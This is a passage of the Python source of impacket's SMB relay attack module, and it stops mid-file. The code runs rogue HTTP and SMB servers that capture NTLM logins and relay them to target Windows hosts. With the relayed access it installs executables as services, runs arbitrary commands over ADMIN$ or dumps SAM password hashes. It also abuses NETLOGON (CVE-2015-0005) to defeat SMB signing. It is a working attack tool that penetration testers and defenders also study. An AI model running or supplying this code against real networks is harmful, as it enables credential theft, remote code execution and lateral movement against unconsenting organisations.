1#!/usr/bin/env python 2# Copyright (c) 2013-2016 CORE Security Technologies 3# 4# This software is provided under under a slightly modified version 5# of the Apache Software License. See the accompanying LICENSE file 6# for more information. 7# 8# SMB Relay Module 9# 10# Author: 11# Alberto Solino (@agsolino) 12# 13# Description: 14# This module performs the SMB Relay attacks originally discovered 15# by cDc. It receives a list of targets and for every connection received it 16# will choose the next target and try to relay the credentials. Also, if 17# specified, it will first to try authenticate against the client connecting 18# to us. 19# 20# It is implemented by invoking a SMB and HTTP Server, hooking to a few 21# functions and then using the smbclient portion. It is supposed to be 22# working on any LM Compatibility level. The only way to stop this attack 23# is to enforce on the server SPN checks and or signing. 24# 25# If the target system is enforcing signing and a machine account was provided, 26# the module will try to gather the SMB session key through 27# NETLOGON (CVE-2015-0005) 28# 29# If the authentication against the targets succeed, the client authentication 30# success as well and a valid connection is set against the local smbserver. 31# It's up to the user to set up the local smbserver functionality. One option 32# is to set up shares with whatever files you want to the victim thinks it's 33# connected to a valid SMB server. All that is done through the smb.conf file or 34# programmatically. 35# 36 37import ConfigParser 38import SimpleHTTPServer 39import SocketServer 40import argparse 41import base64 42import logging 43import os 44import sys 45from binascii import unhexlify, hexlify 46from struct import pack, unpack 47from threading import Thread 48 49from impacket import version 50from impacket.dcerpc.v5 import nrpc 51from impacket.dcerpc.v5 import transport 52from impacket.dcerpc.v5.ndr import NULL 53from impacket.dcerpc.v5.rpcrt import DCERPCException 54from impacket.examples import logger 55from impacket.examples import serviceinstall 56from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections, SOCKS 57from impacket.nt_errors import ERROR_MESSAGES 58from impacket.nt_errors import STATUS_LOGON_FAILURE, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NOT_SUPPORTED, \ 59 STATUS_MORE_PROCESSING_REQUIRED 60from impacket.ntlm import NTLMAuthChallengeResponse, NTLMAuthNegotiate, NTLMAuthChallenge, AV_PAIRS, \ 61 NTLMSSP_AV_HOSTNAME, generateEncryptedSessionKey 62from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Extended_Data, \ 63 SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \ 64 SMBSessionSetupAndX_Parameters, SMBSessionSetupAndX_Extended_Parameters, TypesMech, \ 65 SMBSessionSetupAndXResponse_Parameters, SMBSessionSetupAndXResponse_Data 66from impacket.smb3 import SMB3 67from impacket.smbconnection import SMBConnection 68from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile, SMBSERVER 69from impacket.spnego import ASN1_AID, SPNEGO_NegTokenResp, SPNEGO_NegTokenInit 70 71try: 72 from Crypto.Cipher import DES, AES, ARC4 73except Exception: 74 logging.critical("Warning: You don't have any crypto installed. You need PyCrypto") 75 logging.critical("See http://www.pycrypto.org/") 76 77# Global Variables 78# This is the list of hosts that have been attacked already in case -one-shot was chosen 79ATTACKED_HOSTS = set() 80CODEC = sys.getdefaultencoding() 81 82class doAttack(Thread): 83 def __init__(self, SMBClient, exeFile, command): 84 Thread.__init__(self) 85 86 if isinstance(SMBClient, SMB) or isinstance(SMBClient, SMB3): 87 self.__SMBConnection = SMBConnection(existingConnection = SMBClient) 88 else: 89 self.__SMBConnection = SMBClient 90 91 self.__exeFile = exeFile 92 self.__command = command 93 self.__answerTMP = '' 94 if exeFile is not None: 95 self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) 96 97 def __answer(self, data): 98 self.__answerTMP += data 99 100 def run(self): 101 # Here PUT YOUR CODE! 102 global ATTACKED_HOSTS 103 if self.__exeFile is not None: 104 result = self.installService.install() 105 if result is True: 106 logging.info("Service Installed.. CONNECT!") 107 self.installService.uninstall() 108 else: 109 ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) 110 else: 111 from impacket.examples.secretsdump import RemoteOperations, SAMHashes 112 samHashes = None 113 try: 114 # We have to add some flags just in case the original client did not 115 # Why? needed for avoiding INVALID_PARAMETER 116 flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() 117 flags2 |= SMB.FLAGS2_LONG_NAMES 118 self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) 119 120 remoteOps = RemoteOperations(self.__SMBConnection, False) 121 remoteOps.enableRegistry() 122 except Exception, e: 123 if logging.getLogger().level == logging.DEBUG: 124 import traceback 125 traceback.print_exc() 126 # Something wen't wrong, most probably we don't have access as admin. aborting 127 logging.error(str(e)) 128 ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) 129 return 130 131 try: 132 if self.__command is not None: 133 remoteOps._RemoteOperations__executeRemote(self.__command) 134 logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) 135 self.__answerTMP = '' 136 self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) 137 logging.debug('Raw answer %r' % self.__answerTMP) 138 139 try: 140 print self.__answerTMP.decode(CODEC) 141 except UnicodeDecodeError, e: 142 logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' 143 'https://docs.python.org/2.4/lib/standard-encodings.html\nand then execute wmiexec.py ' 144 'again with -codec and the corresponding codec') 145 print self.__answerTMP 146 147 self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') 148 else: 149 bootKey = remoteOps.getBootKey() 150 remoteOps._RemoteOperations__serviceDeleted = True 151 samFileName = remoteOps.saveSAM() 152 samHashes = SAMHashes(samFileName, bootKey, isRemote = True) 153 samHashes.dump() 154 logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) 155 except Exception, e: 156 if logging.getLogger().level == logging.DEBUG: 157 import traceback 158 traceback.print_exc() 159 ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) 160 logging.error(str(e)) 161 finally: 162 if samHashes is not None: 163 samHashes.finish() 164 if remoteOps is not None: 165 remoteOps.finish() 166 try: 167 ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) 168 except Exception, e: 169 logging.error(str(e)) 170 pass 171 172 173class SMBClient(SMB): 174 def __init__(self, remote_name, extended_security = True, sess_port = 445): 175 self._extendedSecurity = extended_security 176 self.domainIp = None 177 self.machineAccount = None 178 self.machineHashes = None 179 180 SMB.__init__(self,remote_name, remote_name, sess_port = sess_port) 181 182 def neg_session(self): 183 neg_sess = SMB.neg_session(self, extended_security = self._extendedSecurity) 184 return neg_sess 185 186 def setUid(self,uid): 187 self._uid = uid 188 189 def login_standard(self, user, domain, ansiPwd, unicodePwd): 190 smb = NewSMBPacket() 191 smb['Flags1'] = 8 192 193 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 194 sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() 195 sessionSetup['Data'] = SMBSessionSetupAndX_Data() 196 197 sessionSetup['Parameters']['MaxBuffer'] = 65535 198 sessionSetup['Parameters']['MaxMpxCount'] = 2 199 sessionSetup['Parameters']['VCNumber'] = os.getpid() 200 sessionSetup['Parameters']['SessionKey'] = self._dialects_parameters['SessionKey'] 201 sessionSetup['Parameters']['AnsiPwdLength'] = len(ansiPwd) 202 sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd) 203 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE 204 205 sessionSetup['Data']['AnsiPwd'] = ansiPwd 206 sessionSetup['Data']['UnicodePwd'] = unicodePwd 207 sessionSetup['Data']['Account'] = str(user) 208 sessionSetup['Data']['PrimaryDomain'] = str(domain) 209 sessionSetup['Data']['NativeOS'] = 'Unix' 210 sessionSetup['Data']['NativeLanMan'] = 'Samba' 211 212 smb.addCommand(sessionSetup) 213 214 self.sendSMB(smb) 215 smb = self.recvSMB() 216 try: 217 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) 218 except: 219 logging.error("Error login_standard") 220 return None, STATUS_LOGON_FAILURE 221 else: 222 self._uid = smb['Uid'] 223 return smb, STATUS_SUCCESS 224 225 def setDomainAccount( self, machineAccount, machineHashes, domainIp): 226 self.machineAccount = machineAccount 227 self.machineHashes = machineHashes 228 self.domainIp = domainIp 229 if self._SignatureRequired is True: 230 if self.domainIp is None: 231 logging.error("Signature is REQUIRED on the other end, attack will not work") 232 else: 233 logging.info("Signature is REQUIRED on the other end, using NETLOGON approach") 234 235 236 def netlogonSessionKey(self, challenge, authenticateMessageBlob): 237 # Here we will use netlogon to get the signing session key 238 logging.info("Connecting to %s NETLOGON service" % self.domainIp) 239 240 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 241 authenticateMessage = NTLMAuthChallengeResponse() 242 authenticateMessage.fromString(respToken2['ResponseToken'] ) 243 _, machineAccount = self.machineAccount.split('/') 244 domainName = authenticateMessage['domain_name'].decode('utf-16le') 245 246 try: 247 av_pairs = authenticateMessage['ntlm'][44:] 248 av_pairs = AV_PAIRS(av_pairs) 249 250 serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') 251 except: 252 # We're in NTLMv1, not supported 253 return STATUS_ACCESS_DENIED 254 255 stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp 256 257 rpctransport = transport.DCERPCTransportFactory(stringBinding) 258 259 if len(self.machineHashes) > 0: 260 lmhash, nthash = self.machineHashes.split(':') 261 else: 262 lmhash = '' 263 nthash = '' 264 265 if hasattr(rpctransport, 'set_credentials'): 266 # This method exists only for selected protocol sequences. 267 rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash) 268 269 dce = rpctransport.get_dce_rpc() 270 dce.connect() 271 dce.bind(nrpc.MSRPC_UUID_NRPC) 272 resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678') 273 274 serverChallenge = resp['ServerChallenge'] 275 276 if self.machineHashes == '': 277 ntHash = None 278 else: 279 ntHash = unhexlify(self.machineHashes.split(':')[1]) 280 281 sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash) 282 283 ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey) 284 285 nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00', 286 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', 287 ppp, 0x600FFFFF) 288 289 clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10) 290 291 # Now let's try to verify the security blob against the PDC 292 293 request = nrpc.NetrLogonSamLogonWithFlags() 294 request['LogonServer'] = '\x00' 295 request['ComputerName'] = serverName + '\x00' 296 request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 297 298 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation 299 request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation 300 request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName 301 request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0 302 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[ 303 'user_name'].decode('utf-16le') 304 request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = '' 305 request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge 306 request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm'] 307 request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman'] 308 309 authenticator = nrpc.NETLOGON_AUTHENTICATOR() 310 authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey) 311 authenticator['Timestamp'] = 10 312 313 request['Authenticator'] = authenticator 314 request['ReturnAuthenticator']['Credential'] = '\x00'*8 315 request['ReturnAuthenticator']['Timestamp'] = 0 316 request['ExtraFlags'] = 0 317 #request.dump() 318 try: 319 resp = dce.request(request) 320 #resp.dump() 321 except DCERPCException, e: 322 if logging.getLogger().level == logging.DEBUG: 323 import traceback 324 traceback.print_exc() 325 logging.error(str(e)) 326 return e.get_error_code() 327 328 logging.info("%s\\%s successfully validated through NETLOGON" % ( 329 domainName, authenticateMessage['user_name'].decode('utf-16le'))) 330 331 encryptedSessionKey = authenticateMessage['session_key'] 332 if encryptedSessionKey != '': 333 signingKey = generateEncryptedSessionKey( 334 resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey) 335 else: 336 signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey'] 337 338 logging.info("SMB Signing key: %s " % hexlify(signingKey)) 339 340 self.set_session_key(signingKey) 341 342 self._SignatureEnabled = True 343 self._SignSequenceNumber = 2 344 self.set_flags(flags1 = SMB.FLAGS1_PATHCASELESS, flags2 = SMB.FLAGS2_EXTENDED_SECURITY) 345 return STATUS_SUCCESS 346 347 def sendAuth(self, serverChallenge, authenticateMessageBlob): 348 smb = NewSMBPacket() 349 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS 350 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 351 # Are we required to sign SMB? If so we do it, if not we skip it 352 if self._SignatureRequired: 353 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE 354 smb['Uid'] = self._uid 355 356 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 357 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() 358 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() 359 360 sessionSetup['Parameters']['MaxBufferSize'] = 65535 361 sessionSetup['Parameters']['MaxMpxCount'] = 2 362 sessionSetup['Parameters']['VcNumber'] = 1 363 sessionSetup['Parameters']['SessionKey'] = 0 364 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE 365 366 # Fake Data here, don't want to get us fingerprinted 367 sessionSetup['Data']['NativeOS'] = 'Unix' 368 sessionSetup['Data']['NativeLanMan'] = 'Samba' 369 370 sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob) 371 sessionSetup['Data']['SecurityBlob'] = str(authenticateMessageBlob) 372 smb.addCommand(sessionSetup) 373 self.sendSMB(smb) 374 375 smb = self.recvSMB() 376 errorCode = smb['ErrorCode'] << 16 377 errorCode += smb['_reserved'] << 8 378 errorCode += smb['ErrorClass'] 379 380 if errorCode == STATUS_SUCCESS and self._SignatureRequired is True and self.domainIp is not None: 381 try: 382 errorCode = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob) 383 except: 384 if logging.getLogger().level == logging.DEBUG: 385 import traceback 386 traceback.print_exc() 387 raise 388 389 return smb, errorCode 390 391 def sendNegotiate(self, negotiateMessage): 392 smb = NewSMBPacket() 393 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS 394 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 395 # Are we required to sign SMB? If so we do it, if not we skip it 396 if self._SignatureRequired: 397 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE 398 399 400 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 401 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() 402 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() 403 404 sessionSetup['Parameters']['MaxBufferSize'] = 65535 405 sessionSetup['Parameters']['MaxMpxCount'] = 2 406 sessionSetup['Parameters']['VcNumber'] = 1 407 sessionSetup['Parameters']['SessionKey'] = 0 408 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE 409 410 # Let's build a NegTokenInit with the NTLMSSP 411 # TODO: In the future we should be able to choose different providers 412 413 blob = SPNEGO_NegTokenInit() 414 415 # NTLMSSP 416 blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 417 blob['MechToken'] = str(negotiateMessage) 418 419 sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) 420 sessionSetup['Parameters'].getData() 421 sessionSetup['Data']['SecurityBlob'] = blob.getData() 422 423 # Fake Data here, don't want to get us fingerprinted 424 sessionSetup['Data']['NativeOS'] = 'Unix' 425 sessionSetup['Data']['NativeLanMan'] = 'Samba' 426 427 smb.addCommand(sessionSetup) 428 self.sendSMB(smb) 429 smb = self.recvSMB() 430 431 try: 432 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) 433 except Exception: 434 logging.error("SessionSetup Error!") 435 raise 436 else: 437 # We will need to use this uid field for all future requests/responses 438 self._uid = smb['Uid'] 439 440 # Now we have to extract the blob to continue the auth process 441 sessionResponse = SMBCommand(smb['Data'][0]) 442 sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters']) 443 sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2']) 444 sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength'] 445 sessionData.fromString(sessionResponse['Data']) 446 respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) 447 448 return respToken['ResponseToken'] 449 450class HTTPRelayServer(Thread): 451 class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): 452 def __init__(self, server_address, RequestHandlerClass, target, exeFile, command, mode, outputFile, 453 one_shot, returnStatus=STATUS_SUCCESS, runSocks = False): 454 self.target = target 455 self.exeFile = exeFile 456 self.command = command 457 self.mode = mode 458 self.returnStatus = returnStatus 459 self.outputFile = outputFile 460 self.one_shot = one_shot 461 self.runSocks = runSocks 462 463 SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass) 464 465 class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): 466 def __init__(self,request, client_address, server): 467 self.server = server 468 self.protocol_version = 'HTTP/1.1' 469 self.challengeMessage = None 470 self.target = None 471 self.client = None 472 self.machineAccount = None 473 self.machineHashes = None 474 self.domainIp = None 475 476 global ATTACKED_HOSTS 477 if self.server.target in ATTACKED_HOSTS and self.server.one_shot: 478 logging.info( 479 "HTTPD: Received connection from %s, skipping %s, already attacked" % ( 480 client_address[0], self.server.target)) 481 return 482 483 if self.server.target is not None: 484 logging.info( 485 "HTTPD: Received connection from %s, attacking target %s" % (client_address[0], self.server.target)) 486 else: 487 logging.info( 488 "HTTPD: Received connection from %s, attacking target %s" % (client_address[0], client_address[0])) 489 SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) 490 491 def handle_one_request(self): 492 try: 493 SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) 494 except: 495 pass 496 497 def log_message(self, format, *args): 498 return 499 500 def do_HEAD(self): 501 self.send_response(200) 502 self.send_header('Content-type', 'text/html') 503 self.end_headers() 504 505 def do_AUTHHEAD(self, message = ''): 506 self.send_response(401) 507 self.send_header('WWW-Authenticate', message) 508 self.send_header('Content-type', 'text/html') 509 self.send_header('Content-Length','0') 510 self.end_headers() 511 512 def send_error(self, code, message=None): 513 if message.find('RPC_OUT') >=0 or message.find('RPC_IN'): 514 return self.do_GET() 515 return SimpleHTTPServer.SimpleHTTPRequestHandler.send_error(self,code,message) 516 517 def do_GET(self): 518 messageType = 0 519 if self.headers.getheader('Authorization') is None: 520 self.do_AUTHHEAD(message = 'NTLM') 521 pass 522 else: 523 #self.do_AUTHHEAD() 524 typeX = self.headers.getheader('Authorization') 525 try: 526 _, blob = typeX.split('NTLM') 527 token = base64.b64decode(blob.strip()) 528 except: 529 self.do_AUTHHEAD() 530 messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] 531 532 if messageType == 1: 533 if self.server.mode.upper() == 'REFLECTION': 534 self.target = self.client_address[0] 535 else: 536 self.target = self.server.target 537 try: 538 if self.client is not None: 539 logging.error('Still performing an attack against %s' % self.client.get_remote_host()) 540 self.send_response(404) 541 self.end_headers() 542 return 543 544 self.client = SMBClient(self.target, extended_security = True) 545 self.client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) 546 self.client.set_timeout(60) 547 except Exception, e: 548 logging.error("Connection against target %s FAILED" % self.target) 549 logging.error(str(e)) 550 551 clientChallengeMessage = self.client.sendNegotiate(token) 552 self.challengeMessage = NTLMAuthChallenge() 553 self.challengeMessage.fromString(clientChallengeMessage) 554 self.do_AUTHHEAD(message = 'NTLM '+base64.b64encode(clientChallengeMessage)) 555 556 elif messageType == 3: 557 558 authenticateMessage = NTLMAuthChallengeResponse() 559 authenticateMessage.fromString(token) 560 if authenticateMessage['user_name'] != '' or self.target == '127.0.0.1': 561 respToken2 = SPNEGO_NegTokenResp() 562 respToken2['ResponseToken'] = str(token) 563 clientResponse, errorCode = self.client.sendAuth(self.challengeMessage['challenge'], 564 respToken2.getData()) 565 else: 566 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except 567 # when coming from localhost 568 errorCode = STATUS_ACCESS_DENIED 569 570 if errorCode != STATUS_SUCCESS: 571 logging.error("Authenticating against %s as %s\%s FAILED" % ( 572 self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) 573 self.do_AUTHHEAD('NTLM') 574 else: 575 # Relay worked, do whatever we want here... 576 logging.info("Authenticating against %s as %s\%s SUCCEED" % ( 577 self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) 578 ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'], 579 authenticateMessage['user_name'], 580 authenticateMessage['domain_name'], 581 authenticateMessage['lanman'], authenticateMessage['ntlm']) 582 logging.info(ntlm_hash_data['hash_string']) 583 if self.server.outputFile is not None: 584 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 585 self.server.outputFile) 586 587 # Target will be attacked, adding to the attacked set 588 # If the attack fails, the doAttack thread will be responsible of removing it from the set 589 global ATTACKED_HOSTS 590 if self.target not in ATTACKED_HOSTS: 591 ATTACKED_HOSTS.add(self.target) 592 if self.server.runSocks is True: 593 # Pass all the data to the socksplugins proxy 594 activeConnections.put( 595 (self.target, 445, authenticateMessage['user_name'], self.client, {'CHALLENGE_MESSAGE': self.challengeMessage})) 596 logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target) 597 else: 598 clientThread = doAttack(self.client,self.server.exeFile,self.server.command) 599 self.client = None 600 clientThread.start() 601 else: 602 logging.error('%s is being attacker at the moment, skipping.. ' % self.target) 603 604 # And answer 404 not found 605 self.send_response(404) 606 self.send_header('WWW-Authenticate', 'NTLM') 607 self.send_header('Content-type', 'text/html') 608 self.send_header('Content-Length','0') 609 self.end_headers() 610 return 611 612 def __init__(self, outputFile=None): 613 Thread.__init__(self) 614 self.daemon = True 615 self.domainIp = None 616 self.machineAccount = None 617 self.machineHashes = None 618 self.exeFile = None 619 self.command = None 620 self.target = None 621 self.mode = None 622 self.outputFile = outputFile 623 self.one_shot = False 624 self.runSocks = False 625 626 def setTargets(self, target): 627 self.target = target 628 629 def setExeFile(self, filename): 630 self.exeFile = filename 631 632 def setCommand(self, command): 633 self.command = command 634 635 def setSocks(self, socks): 636 self.runSocks = socks 637 638 def setReturnStatus(self, returnStatus): 639 # Not implemented yet. 640 pass 641 642 def setMode(self,mode, one_shot): 643 self.mode = mode 644 self.one_shot = one_shot 645 646 def setDomainAccount( self, machineAccount, machineHashes, domainIp): 647 self.machineAccount = machineAccount 648 self.machineHashes = machineHashes 649 self.domainIp = domainIp 650 651 def run(self): 652 logging.info("Setting up HTTP Server") 653 httpd = self.HTTPServer(("", 80), self.HTTPHandler, self.target, self.exeFile, self.command, self.mode, 654 self.outputFile, self.one_shot, runSocks = self.runSocks) 655 httpd.serve_forever() 656 657class SMBRelayServer(Thread): 658 def __init__(self, outputFile = None): 659 Thread.__init__(self) 660 self.daemon = True 661 self.server = 0 662 self.target = '' 663 self.mode = 'REFLECTION' 664 self.domainIp = None 665 self.machineAccount = None 666 self.machineHashes = None 667 self.exeFile = None 668 self.returnStatus = STATUS_SUCCESS 669 self.command = None 670 self.one_shot = False 671 self.runSocks = False 672 673 # Here we write a mini config for the server 674 smbConfig = ConfigParser.ConfigParser() 675 smbConfig.add_section('global') 676 smbConfig.set('global','server_name','server_name') 677 smbConfig.set('global','server_os','UNIX') 678 smbConfig.set('global','server_domain','WORKGROUP') 679 smbConfig.set('global','log_file','smb.log') 680 smbConfig.set('global','credentials_file','') 681 682 if outputFile is not None: 683 smbConfig.set('global','jtr_dump_path',outputFile) 684 685 # IPC always needed 686 smbConfig.add_section('IPC$') 687 smbConfig.set('IPC$','comment','') 688 smbConfig.set('IPC$','read only','yes') 689 smbConfig.set('IPC$','share type','3') 690 smbConfig.set('IPC$','path','') 691 692 self.server = SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) 693 self.server.processConfigFile() 694 695 self.origSmbComNegotiate = self.server.hookSmbCommand(SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate) 696 self.origSmbSessionSetupAndX = self.server.hookSmbCommand(SMB.SMB_COM_SESSION_SETUP_ANDX, 697 self.SmbSessionSetupAndX) 698 # Let's use the SMBServer Connection dictionary to keep track of our client connections as well 699 self.server.addConnection('SMBRelay', '0.0.0.0', 445) 700 701 def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): 702 connData = smbServer.getConnectionData(connId, checkStatus = False) 703 if self.mode.upper() == 'REFLECTION': 704 self.target = connData['ClientIP'] 705 ############################################################# 706 # SMBRelay 707 smbData = smbServer.getConnectionData('SMBRelay', False) 708 if smbData.has_key(self.target): 709 # Remove the previous connection and use the last one 710 smbClient = smbData[self.target]['SMBClient'] 711 del smbClient 712 del smbData[self.target] 713 714 # Let's check if we already attacked this host. 715 global ATTACKED_HOSTS 716 if self.target in ATTACKED_HOSTS and self.one_shot is True: 717 logging.info("SMBD: Received connection from %s, skipping %s, already attacked" % ( 718 connData['ClientIP'], self.target)) 719 packet = NewSMBPacket() 720 packet['Flags1'] = SMB.FLAGS1_REPLY 721 packet['Flags2'] = SMB.FLAGS2_NT_STATUS 722 packet['Command'] = recvPacket['Command'] 723 packet['Pid'] = recvPacket['Pid'] 724 packet['Tid'] = recvPacket['Tid'] 725 packet['Mid'] = recvPacket['Mid'] 726 packet['Uid'] = recvPacket['Uid'] 727 packet['Data'] = '\x00\x00\x00' 728 errorCode = STATUS_NOT_SUPPORTED 729 packet['ErrorCode'] = errorCode >> 16 730 packet['ErrorClass'] = errorCode & 0xff 731 732 return None, [packet], STATUS_NOT_SUPPORTED 733 else: 734 logging.info("SMBD: Received connection from %s, attacking target %s" % (connData['ClientIP'] ,self.target)) 735 736 try: 737 if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY == 0: 738 extSec = False 739 else: 740 if self.mode.upper() == 'REFLECTION': 741 # Force standard security when doing reflection 742 logging.info("Downgrading to standard security") 743 extSec = False 744 recvPacket['Flags2'] += (~SMB.FLAGS2_EXTENDED_SECURITY) 745 else: 746 extSec = True 747 client = SMBClient(self.target, extended_security = extSec) 748 client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) 749 client.set_timeout(60) 750 except Exception, e: 751 logging.error("Connection against target %s FAILED" % self.target) 752 logging.error(str(e)) 753 else: 754 encryptionKey = client.get_encryption_key() 755 smbData[self.target] = {} 756 smbData[self.target]['SMBClient'] = client 757 if encryptionKey is not None: 758 connData['EncryptionKey'] = encryptionKey 759 smbServer.setConnectionData('SMBRelay', smbData) 760 smbServer.setConnectionData(connId, connData) 761 return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) 762 ############################################################# 763 764 def SmbSessionSetupAndX(self, connId, smbServer, smbCommand, recvPacket): 765 766 connData = smbServer.getConnectionData(connId, checkStatus = False) 767 ############################################################# 768 # SMBRelay 769 smbData = smbServer.getConnectionData('SMBRelay', False) 770 ############################################################# 771 772 respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 773 global ATTACKED_HOSTS 774 775 if connData['_dialects_parameters']['Capabilities'] & SMB.CAP_EXTENDED_SECURITY: 776 # Extended security. Here we deal with all SPNEGO stuff 777 respParameters = SMBSessionSetupAndX_Extended_Response_Parameters() 778 respData = SMBSessionSetupAndX_Extended_Response_Data() 779 sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters']) 780 sessionSetupData = SMBSessionSetupAndX_Extended_Data() 781 sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] 782 sessionSetupData.fromString(smbCommand['Data']) 783 connData['Capabilities'] = sessionSetupParameters['Capabilities'] 784 785 if unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: 786 # If there no GSSAPI ID, it must be an AUTH packet 787 blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) 788 token = blob['ResponseToken'] 789 else: 790 # NEGOTIATE packet 791 blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) 792 token = blob['MechToken'] 793 794 # Here we only handle NTLMSSP, depending on what stage of the 795 # authentication we are, we act on it 796 messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] 797 798 if messageType == 0x01: 799 # NEGOTIATE_MESSAGE 800 negotiateMessage = NTLMAuthNegotiate() 801 negotiateMessage.fromString(token) 802 # Let's store it in the connection data 803 connData['NEGOTIATE_MESSAGE'] = negotiateMessage 804 805 ############################################################# 806 # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. 807 # Let's send it to the target server and send the answer back to the client. 808 809 # Let's check if we already attacked this host. 810 global 